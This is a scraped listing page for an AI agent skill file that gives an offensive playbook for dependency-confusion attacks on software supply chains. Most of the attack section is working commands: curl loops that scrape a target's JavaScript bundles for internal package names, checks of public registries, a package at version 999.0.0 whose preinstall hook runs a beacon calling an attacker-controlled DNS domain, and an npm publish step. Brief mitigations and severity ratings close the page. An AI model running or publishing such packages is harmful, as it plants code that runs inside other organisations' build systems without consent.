Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.
64
76%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.mdWhen an org uses internal private packages (e.g. @target-internal/utils)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the same name at higher version.
Default resolvers pick highest version → public package runs in CI.
| Source | Pattern |
|---|---|
package.json in public repo | "@target/foo" scoped packages |
package.json exfiltrated from web (/static/) | dependency lists |
| Webpack bundles | leaked package.json strings |
requirements.txt / Pipfile exposure | target-internal-lib |
pom.xml / build.gradle | <groupId>com.target</groupId> |
| Github org code search | @scope patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate
# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available
# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jqIf the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).
mkdir attack-pkg && cd attack-pkg
# package.json
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOFnpm publish --access public
# For org scopes, may need to register the @scope firstWithin hours-days, target's CI will pull 999.0.0. Burp Collaborator
shows DNS hits.
DO NOT:
DO:
| Bug | Severity |
|---|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |
.npmrc @target:registry=https://internal-npm.target.com/package-lock.json w/ integrity field)pip install --index-url internal-pypi/ --extra-index-url public-pypi/ is BACKWARDS — use --index-url internal-pypi/ --no-index and explicitly allowlist public packages@org scope and publish a public empty placeholder w/ private fieldskills/_corpus/payloads/Dependency Confusion/0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.